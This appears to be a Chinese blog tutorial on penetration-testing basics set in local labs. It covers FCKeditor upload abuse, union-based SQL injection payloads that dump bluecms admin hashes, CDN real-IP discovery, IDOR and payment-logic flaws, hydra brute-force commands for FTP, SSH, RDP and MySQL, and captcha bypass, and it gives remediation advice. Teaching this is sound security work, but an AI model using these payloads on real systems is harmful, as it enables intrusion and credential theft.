【网络安全的神秘世界】渗透测试基础
🌝博客主页:泥菩萨
💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具
渗透测试基础
基于功能去进行漏洞挖掘
1、编辑器漏洞
1.1 编辑器漏洞介绍
一般企业搭建网站可能采用了通用模板(CMS,内容管理系统),这些现成的CMS后台如果需要发文章,可能会用到编辑器,这些编辑器是有专门的团队运营开发的,编辑器有可能存在漏洞。只要使用了存在漏洞的编辑器,那么网站就会存在相应的漏洞
编辑器漏洞通常有如下利用方式:
1、编辑器配合解析漏洞进行利用
2、编辑器自身的漏洞利用
FCKeditor
FCKeditor编辑器的漏洞源码
获取版本号
/FCKeditor/_whatsnew.html
/Fckeditor/editor/dialog/fck_about.html
常见的测试上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/editor/filemanager/browser/default/browser.html
常见的示例上传地址:
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
可能存在的其他上传点:
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?
Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectos/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors
/jsp/connector.jsp
browser.html文件:
FCKeditor/editor/filemanager/browser/default/browser.html?
type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?
Type=Image&Connector=connectors/php/connector.php
1.2 编辑器漏洞攻击还原
挖掘编辑器漏洞的思路:
1、通过目录扫描,爬虫识别编辑器
2、寻找编辑器版本对应的漏洞
3、利用该编辑器漏洞
Fckeditor编辑器漏洞攻击还原:
首先搭建环境:windows 11 + phpstudy_64 (php 5.4.45)
把FCKeditor编辑器的漏洞源码放在根目录
访问http://your_ip/FCKeditor,有403报错是正常的
目录扫描发现目标网站存在FCKeditor:
当确定一个网站使用了FCKeditor编辑器后,可以进行信息收集
查看版本:
http://10.0.0.172/Fckeditor/editor/dialog/fck_about.html
判断出该FCKeditor编辑器版本为:2.4.3
利用示例页面进行上传
http://10.0.0.172/FCKeditor/editor/fckeditor.html
点击插入/编辑图像,点击链接,Browse Server
会打开新的页面,发现有报错提示
观察url发现,我们使用的是php而路径是asp,进行修改
http://10.0.0.172/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php
这次仍然报错,但是报错信息不同了
访问D:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php,修改配置如下并保存:
上传路径:D:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images
重启完成后,再次访问链接,可以正常访问
上传PHP文件,抓包,修改php后缀,增加空格
上传成功后,根据前面的配置文件可以构造出路径:
http://10.0.0.172/FCKeditor\editor\filemanager\browser\default\images\file/phpinfo.php
也可以用蚁剑直接拿下这台web服务器
此外,关于该实验环境,也可以通过测试页面进行文件上传:
http://10.0.0.172/FCKeditor/editor/filemanager/browser/default/connectors/test.html
也可以使用FCK综合利用工具进行利用
2、旁站&跨库
旁站:同一个web服务器上存载着多个web站点,通过不同端口对外进行服务
2.1 旁站&跨库
漏洞环境搭建
bluecms v1.6 sp1源码
windows 7
phpstudy(php 5.4.45)
将bluecms源码放入phpstudy网站根目录中
之后访问http://your_ip/bluecms/uploads/install进行安装
填写数据库账号密码,我设置的是root/123456,数据表前缀blue_,管理员账号密码admin/123456,下一步
返回空白页面即代表安装成功
旁站和跨裤演示
在渗透测试过程中,如果正面难以突破,那么就可以采用一些迂回战术,从侧面来发起攻击,也就是采用一些间接攻击方法,例如旁站,通过旁站注入来进行渗透
假如在某次渗透测试过程中我们发现主站难以攻破,又发现存在旁站bluecms,于是通过旁站来进行攻击:
http://10.0.0.160/bluecms/uploads/
分析这个页面可以挖的地方:
1、收藏----存在ssrf
2、密码爆破
3、弱口令
4、密码明文传输—有攻击者监听流量可以看到密码
5、是否记住我—可能用了share框架
点击进入注册功能点,思考可能存在以下漏洞:
1、弱口令
2、账号枚举—判断是否存在账号
3、测试验证码是否有效(不填或者故意填错)
4、csrf—此网站在验证码无效的情况下
5、逻辑漏洞------当作修改已注册用户密码功能点(在不校验旧密码的情况下,根据账户枚举得到一个已有账号,抓包绕过前端限制,把账户修改为已经存在的,并设置新密码)
6、XSS(盲注的场景)
7、电子邮箱—邮箱轰炸
点击进入留言建议,分析这个页面可以挖的地方:
1、XSS
回到首页进行渗透测试,输入admin密码随意,根据提示发现admin是系统用户组,并且存在后台
找后台的3种方法:
1、已知框架了直接上网查
2、猜(console、login、admin、manage、system)
3、目录爆破:dirsearch、御剑
通过御剑扫描,找到了网站后台管理地址
# 登录
http://192.168.190.128/bluecms/uploads/admin/login.php?act=login
已知账号admin,爆破出密码为123456
输入admin/123456成功进入后台
打开发布本地新闻,分析这个页面可以挖的地方:
1、xss
2、文件上传
3、编辑器漏洞
4、sql注入
删除功能,分析可能存在的漏洞:
1、越权:普通用户实现删除操作
2、未授权访问:在不登陆的情况下删除
抓包,找到删除功能的接口,拼接删除功能的接口地址
192.168.75.131/bluecms/uploads/admin/ann.php?act=del_cat&id=1
添加广告后,有xss弹窗
发现 “获取JS” 的功能,给我们一串js代码
思考:JS从哪里获取到的,会有什么漏洞?
1、本地获取-----任意文件读取
2、数据库获取—SQL漏洞
3、远程服务器获取—RCE、SSRF(内网)、文件包含(外网)
访问上述url,发现是个空白页面,观察url可能存在sql注入漏洞
192.168.75.131/bluecms/uploads/ad_js.php?ad_id=1
验证是否存在sql注入漏洞
通过order by 判断有多少列,输到8报错,证明是7列
使用联合注入,用1,2,3,4,5,6,7
表示无意义位,只是想看看哪个位置会有回显
发现页面不返回消息,查看网页源代码
证明前端显示位不够,让union all左边ad_id=-1
查不出东西,就会让出显示位给右边
发现第7列有回显,可以在此处写入想执行的sql语句
注入出数据库名为bluecms
继续注入blue_user表中的字段名,发现报错,存在过滤,单引号前面出现\证明单引号被转义:
view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-
1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'
使用16进制进行绕过:
view-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=-
1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
继续注入bluecms库中blue_user表的user_name和pwd字段内容:
view
-
source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=
-1 union select 1,2,3,4,5,6, concat(user_name,pwd) from blue_user
也可以使用concat_ws在user_name和pwd中间加入0x7e作为分隔符,方便我们分隔账号密码
admin以及21232f297a57a5a743894a0e4a801fc3,即web管理员的账户密码
通过在线解密:发现明文密码为admin
利用SQL注入能够跨越当前库,获取所有的数据库中的数据库名,表名,字段名:
view
-source:http://192.168.190.128/bluecms/uploads/ad_js.php?ad_id=
-1 union select 1,2,3,4,5,6,group_concat(schema_name)
from information_schema.schemata
2.2 CDN绕过
旁站攻击的前提是知道网站服务器的真实IP,确保要攻击的多个目标站点部署在同一服务器上
CDN概述
CDN也叫内容分发网络,CDN的主要目的是通过将内容缓存到离用户更近的服务器上,来提高用户访问网站或应用程序的速度和可靠性
检测网站是否采用了CDN
1️⃣利用多地ping
每个地区得到的IP地址都不一样则说明可能存在CDN,可以使用以下网站进行检测:
https://wepcc.com
http://ping.chinaz.com
https://mping.chinaz.com/
http://ping.aizhan.com/
http://tcping8.com/ping/
2️⃣利用nslookup
如果返回域名解析对应多个IP地址多半是使用了CDN
查找真实IP方法
1️⃣查找历史DNS记录
一个网站建设之初的时候,规模不大可能早期没有使用CDN
DNS查询https://www.malapan.com/dnshistory/safepub.com、https://www.
racent.com/dns-check
微步在线:https://x.threatbook.cn/
在线域名信息查询:http://toolbar.netcraft.com/site_report?url=
DNS、IP等查询:http://viewdns.info/
CDN查询IP:https://tools.ipip.net/cdn.php
这些网站具有随机性,不一定能查到
2️⃣子域名查询
对于一个网站边缘业务可能没有上CDN,此时就可以通过查询子站点所对应的IP来辅助查找网站的真实IP
第三方接口:
https://x.threatbook.cn/
https://dnsdb.io/zh-cn/
https://site.ip138.com/
google语法:Google site:baidu.com
子域名扫描器:subdomainbrute、amass、OneForAll子域名挖掘机等等
3️⃣网络空间测绘
shadan:https://www.shodan.io/
fofa:https://fofa.info/
hunter:https://hunter.qianxin.com/
zoomeye:https://WWW.zoomeye.org/
4️⃣利用网站漏洞
phpinfo之类的探针、GitHub信息泄露等、
XSS盲打、命令执行反弹shell,SSRF等
5️⃣利用邮件服务器找到真实IP
在注册等一些需要发送邮件的地方让服务器给自己发送邮件,然后查看邮件服务器的IP地址。这种情况比较适用于小站,因为很多大型企业的邮件服务器都是独立的,不太会和业务站点放在同一服务器上。
6️⃣通过分析目标C段来判断真实IP
3、越权
3.1 越权漏洞原理介绍
越权访问是Web应用程序中一种常见的漏洞,由于其存在范围广、危害大、常常被列为OWASP TOP 1 ------ 属于逻辑漏洞
该漏洞是指应用在检查授权时存在纰漏,使得攻击者在登录低权限账户后,利用一些方式绕过权限检查,访问或者操作其它用户信息及获取更高权限
由于越权漏洞往往很难通过工具进行自动化检测,因此在实际应用中危害很大
对比一下SQL注入漏洞和越权漏洞的测试过程:
1、越权漏洞:找到获取数据的接口,准备两个不同权限的账号A和B,控制A通过指定的接口去访问B的数据;访问到即越权
2、SQL注入怎么测:参数级漏洞,看到有携带参数的接口就可以放在sqlmap里去跑,sqlmap自动进行替换完成测试
水平越权: 相同权限下不同的用户可以互相访问
垂直越权: 使用权限低的用户可以访问到权限高的用户
水平越权测试方法:
垂直越权测试方法:
3.2 水平越权攻防还原
火狐浏览器:登录lucy/123456,点击查看个人信息
抓包,修改请求数据包的username参数为lili
在火狐浏览器可以查看到lili的个人信息了
3.3 垂直越权攻防还原
火狐浏览器登录:admin/123456
抓包,发现除了cookie没有其它参数了,只能根据cookie值来判断当前用户的身份
在admin账户中点击添加用户,来到这个页面
1️⃣复制上述url用谷歌浏览器打开
2️⃣替换cookie
还有一种方法,在admin用户下创建内容
抓包,发现除了cookie没有其它校验身份的参数了
把cookie值修改为pikachu用户的cookie值
如果成功,相当于用pikachu的权限进行添加用户;放包查看,添加成功了
谷歌浏览器登录:pikachu/000000
对于pikachu账户来说没有添加用户的功能,但是可以用谷歌再打开一个新的标签页,表示以pikachu的身份访问这个url
设置一些内容进行创建,看能否真的进行操作做
做了校验,发现不是admin用户,直接退出了
但是来到admin用户查看后台,信息已经添加成功了
3.4 越权漏洞修复
1、前后端同时对用户输入信息进行校验,双重验证机制
2、执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
3、特别名的操作可以让用户再次输入密码或加入其它的验证信息,防止CSRF攻击
4、可以从用户的加密认证cookie中获取当前用户的id防止攻击者对其修改,或在session、cookie中加入不可预测的user信息
5、对想要引用的资源ID进行加密,防止攻击者枚举ID,敏感数据特殊化除了
6、用于不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
4、 逻辑漏洞
4.1 逻辑漏洞概述
由于程序逻辑输入管控不严,导致程序不能正常处理或处理错误,进而产生的漏洞。一般出现在登录、注册、密码找回、信息查看、交易支付金额等位置,由于逻辑漏洞产生的流量多数为合法流量,一般的防护手段或设备无法阻止,也导致了逻辑漏洞成为企业防护中的难题
4.2 如何挖掘逻辑漏洞
4.2.1 注册处
注册功能可能出现任意用户注册、短信轰炸等问题
【任意用户注册】:有时候不核实用户填写的邮箱和手机号是否有效,从而达到任意注册的效果
【短信轰炸】:没有对获取短信验证的次数进行校验的话,就可以不停的发送短信,会消耗服务器的资源和金钱
前端验证:判断是否有任意用户注册漏洞
手机验证码:短信轰炸、验证码是否可以暴力破解,验证码与手机号有没有校验匹配(随便拿到一个验证码也能登录其他账号)
账号密码注册:是否可以批量注册(涉及黑产)
4.2.2 登陆处
登陆处可能存在任意用户登录、短信轰炸等问题
前端验证:判断是否有任意用户登录,是否有验证码回显,是否可以修改返回包造成任意用户登陆等问题
手机验证码:验证码是否可以暴力破解、验证码与当前手机号有没有校验匹配
账户密码登录:没有验证码、验证码失效、验证码可以重复利用或者验证码绕过等情况,可以进行暴力破解
4.2.3 密码找回处
1、前端验证绕过:先获取手机验证码,在输入要修改的邮箱或密码,抓包修改用户名
2、验证码是否可以多次使用
3、验证码是否直接返回在数据包中
4、验证码未绑定用户:明明是A的验证码能给B用
5、修改接收的手机或邮箱进行密码重置
6、验证步骤绕过:类似1
7、未校验用户字段的值:比如user_id可替换
…
4.2.4 支付与越权
1、提交订单或者结算时对金额等参数进行修改(可能只校验总价=单价*数量)
2、提交订单时修改商品数量
3、修改支付接口等:某个付款二维码被攻击者拿到了,为了防止攻击者使用该二维码进行随意支付,所以要进行一次校验
4.3 交易支付中的逻辑问题
支付漏洞的理解通常都是篡改价格
4.3.1 支付逻辑漏洞的呈现形式
1、充值的时候,程序只判断订单有没有充值成功,但没有判断金额
例如:生成订单跳转到支付宝页面,在原网站点支付失败,这时可以修改订单,改成更小的金额(订单号没变),回到支付宝页面进行支付操作,支付成功。程序并没有重新核对支付宝实际的金额,只是把订单改为已支付
2、使用余额支付,把数量改为负数,总金额也为负数,扣除余额时,负负得正,这时余额增加
3、支付逻辑漏洞的几种常见类型:
(1)修改金额
(2)修改商品数量
(3)修改优惠金额
(4)修改数量、单价、优惠价格参数为负数、小数、无限大(超过内存能承载的最大值,整数溢出后变成负数)
(5)商品价格更改
(6)支付key泄露等
4.3.2 支付漏洞案例
漏洞环境:webug
使用docker安装
docker pull area39/webug
docker run -d -p 8082:80 -p 33060:3306 area39/webug
安装成功后访问http://your_ip:8082/control/login.php
默认账户:admin/admin
数据库账号:root/toor
打开支付漏洞靶场
进入某网站商城页面
http://10.0.0.158:8082/control/auth_cross/cross_permission_pay.php
点击立即购买,发现弹窗花费了100元购买商品
观察url发现,price是价格的意思,尝试修改值为1
也可以抓包进行修改商品的价格
4.4 密码修改逻辑漏洞
访问“越权修改密码”靶场:
进入docker的数据库中
docker exec -it id bash
mysql -uroot -p //密码toor
查看用户密码信息
show database;
user webug;
show tables;
select * from user_test;
登录admin/admin账号
显示not found,这是网站本身的问题,删除pt_env/
即可
登录aaaaa/asdfsadf账号
思考可能存在的漏洞:
1、明文传输
2、弱口令
3、SQL注入
4、越权修改其他用户密码
5、旧密码是否有效
对aaaaa账户进行修改密码的操作:发现修改密码处未对旧密码进行验证,旧密码处输入任意内容,可以直接修改密码
查看webug库下的user_test表
use webug;
select * from user_test;
抓包,观察数据包我们发现id值可以被篡改,一般来说管理员的id值一般为1或者0
将id修改为1进行尝试,发现修改成功
查看webug库下的user_test表
use webug;
select * from user_test;
此时admin账户的密码已经被更改为:123456,通过低权限的账户修改了管理员账户的密码,使用admin/123456即可成功登录。
4.5 实战项目逻辑漏洞分享
4.5.1 验证码回传导致任意用户注册
由于程序逻辑校验不严,导致验证码直接显示在响应包中,造成任意用户注册
1、可以修改请求包手机号
2、可以在响应码里直接看到验证码拿去使用
4.5.2 任意用户登录
用户注册成功后,第一次会直接以注册用户的身份登录,而无需用户输入账号密码登录,查找数据包中是否有用户的参数username、userid等进行替换
截取并查看响应数据包,发现系统是通过userid、username等参数进行身份验证及登录:
再去截取请求数据包,修改userid值,成功登录他人用户:
4.5.3 任意密码重置
在密码修改页面,随意输入旧密码,输入新密码以及确认新密码,点击修改密码,截取数据包
将响应包由false改为true,有时候响应状态码不一定是true或false,也有可能是0和1
4.6 逻辑漏洞修复
1、正确配置用户的权限信息,不要仅使用简单的cookie或session去进行校验
2、对同一手机号进行识别,一定时间内不允许重复发送验证短信请求
3、加入用户身份认证机制或者token验证,防止可直接通过链接访问到的功能模块被用户恶意操作(未授权访问漏洞)
4、删除特权码,不要仅仅对code等返回值进行校验
5、订单类数据包在后端检查订单的每一个值,包括支付状态、MD5加密&解密、数字签名及验证,能够有效避免数据修改、重放攻击中的各种问题
6、避免仅使用前端校验,应在前后端同时设置校验机制,严格校验用户的数据
5、暴力破解
暴力破解是一种针对密码的破译方法,将密码进行逐个推算知道找出正确的密码为止
5.1 C/S架构暴力破解
常用于网络协议、系统、数据库、第三方应用密码的破解:
暴力破解FTP、SSH、SMB、Sqlserver、Mysql、Redis等
5.2 B/S架构暴力破解
B/S架构即浏览器/服务器结构,暴力破解:
上面 2.1 旁站&跨库 中已经讲过暴力破解bluecms的账号密码,这里不再讲述
5.3 hydra的安装与使用
hydra(九头蛇)是一个网络账号破解攻击
5.3.1 hydra的安装
kali linux下自带
5.3.2 hydra的使用
hydra常用参数:
-l 指定一个用户名
-L 指定一个用户字典
-P 指定一个密码字典
-s 指定端口
-vV 显示每次的尝试信息
-f 遇到正确的密码,停止爆破
-o 将结果输出到文件中
-M 指定一个服务器列表
-t Tasks同时运行的线程数,默认为16
-e nsr n:尝试空密码 s:将用户名作为密码 r:将用户名方向
使用hydra暴力破解ftp服务:
在windows使用phpstudy开启ftp
设置账号为ftp/123456并启动ftp服务
启动,需要手动启动一下ftp
确保linux和weindows两台主机之间的网络是互通的
windows:10.0.0.160
linux:10.0.0.158
hydra ip 服务 -l 用户名 -P 字典
hydra 10.0.0.160 ftp -l ftp -P pwd.txt -vV -f -e ns
将字典pwd.txt,放在当前目录下
成功破解出密码为:ftp/123456
物理机利用该密码成功登录ftp服务器
ftp://10.0.0.160/
使用hydra暴力破解ssh服务:
windows:10.0.0.167
linux:10.0.0.158
首先在Windows系统中安装openssh,以Win 11为例:
安装完成后,看到C盘目录下已经存在OpenSSH文件夹,接下来配置环境变量:
配置完成后,在命令行输入sssh,出现下图即代表安装成功:
在Win 11下默认安装openssh,账号密码默认是当前系统用户的微软账号和密码
hydra 10.0.0.167 ssh -l Administrator -P pwd.txt -o ssh.log
破解出账号密码为Administrator/ly123
查看输出的文件也可以发现:
破解出10.0.0.160的ssh账号密码为Administrator/ly123
使用hydra暴力破解rdp服务:
win 11开启远程桌面(默认开启)
hydra 10.0.0.167 rdp -l Administrator -P pwd.txt -vV -f -e ns
发现爆破出rdp的账号密码为Administrator/ly123
使用该账户成功登录服务器
当用物理机远程虚拟机win 11时,虚拟机就掉线了,因为同一个账号只能被一个用户所登录
使用hydra暴力破解mysql服务:
win11中开启mysql服务,查看账号密码:
hydra 10.0.0.167 mysql -l root -P pwd.txt
发生了报错,意思是MySQL没有开启远程连接
安装数据库管理工具
设置MySQL允许远程连接:
运行 grant all privileges on *.* to root@'%' identified by 'root';
语句
破解出10.0.0.167的mysql的账号密码为:root/root
5.4 暴力破解安全防范
1、安全的验证码
2、对验证码的有效期和次数进行限制
3、限制认证错误的提交次数,如:连续5次密码错误,锁定2小时
4、必要的情况下使用双因子认证(验证码+滑动验证码)
6、验证码安全
所用环境:pikachu
6.1 验证码安全介绍及分类
在安全领域,验证码主要分为两大类:操作验证码和身份验证码
验证码的主要作用:防止暴力破解、恶意注册、刷票、论坛灌水等脚本行为
验证码的分类:手机短信、手机语音、通用文字、加减法、非通用文字、非通用文字加背景随机加拉伸、无感知、滑动拼图、文字点选、图标点选、推理拼图、短信上行、语序点序、空间推理、语音验证等
6.2 验证码绕过(on client前端)
当未输入验证码的时候,提示“请输入验证码”:
当输入错误验证码的时候提示“验证码输入错误”:
当输入正确验证码的时候提示“用户名或者密码不存在”:
username or password is not exists~
经过前三步的测试,验证码基本功能完善
我们尝试截取登录处数据包,修改密码但不更改验证码并多次重放之后发现没有提示验证码错误,该验证码依然有效,说明可能存在验证码可以重复使用的情况:
分析验证码部分的源代码:
代码逻辑没有问题,原因在于写在前端了
完整的实现 请求 --> 响应
过程页面才会刷新,只有页面刷新才能获取新的验证码,而我们抓到了请求包,响应回不去客户端,所以验证码无法刷新,从而导致验证码可以重复利用
既然验证码无效,就可以直接暴力破解了
破解出密码为1223456
除了抓包,也可以通过禁用js来绕过验证码
删除校验验证码的功能也能绕过
6.2 验证码绕过(on server后端)
先对验证码的功能进行完备性的验证
不输入验证码点登录:
输错验证码点登录:
输入正确的验证码:
输入一个正确的验证码,抓包:发现验证码还是可以重复利用
为什么代码在后端,还会出现验证码重复利用这种情况呢?
在burp反复 send
是2和3的过程,没有走完完整的通信,问题是验证码是后端生成的,正常情况下,只要2给了服务端,服务端就应该更新验证码
所以问题还是出现在后端,查看源代码:app\vul\burteforce\bf_server.php
造成该验证码重复使用的原因是:验证码在验证之后没有销毁$_SESSION[‘vcode’],造成了重复使用
如果销毁了$_SESSION[‘vcode’],即使新的验证码没有生成,旧的验证码也不可以用了
7、社会工程学
非技术渗透手段,简单来说就是骗
8、APT攻击
APT即高级持续性威胁,是一种潜伏周期较长、隐蔽性较强的攻击模式
APT攻击常用手段:
1️⃣水坑攻击
提前分析要攻击的目标有什么规律,寻找其经常访问的网站弱点,并事先攻击该网站,等待目标来访,伺机进行攻击
2️⃣路过式下载
攻击者把木马文件植入到某个软件中,用户下载软件的同时也下载了木马
3️⃣网络钓鱼和鱼叉式网络钓鱼
钓鱼攻击
4️⃣0day漏洞
没有在市面上公布出来,掌握在极少数人手里
APT攻击方法
1️⃣恶意代码检查
通过流量抓到攻击者用的什么payload打到你的,通过payload还原攻击代码、攻击路径,做个有针对性的修复
2️⃣主机保护应用
看行为:执行了什么操作系统路径、对外传输了哪些数据
监控企业内内所有主机安全行为
3️⃣网络入侵检测
通过流量监控设备,结合一些态势感知,对整个流量进行监控
4️⃣大数据分析检测
通过全面分析海量日志数据来还原APT攻击场景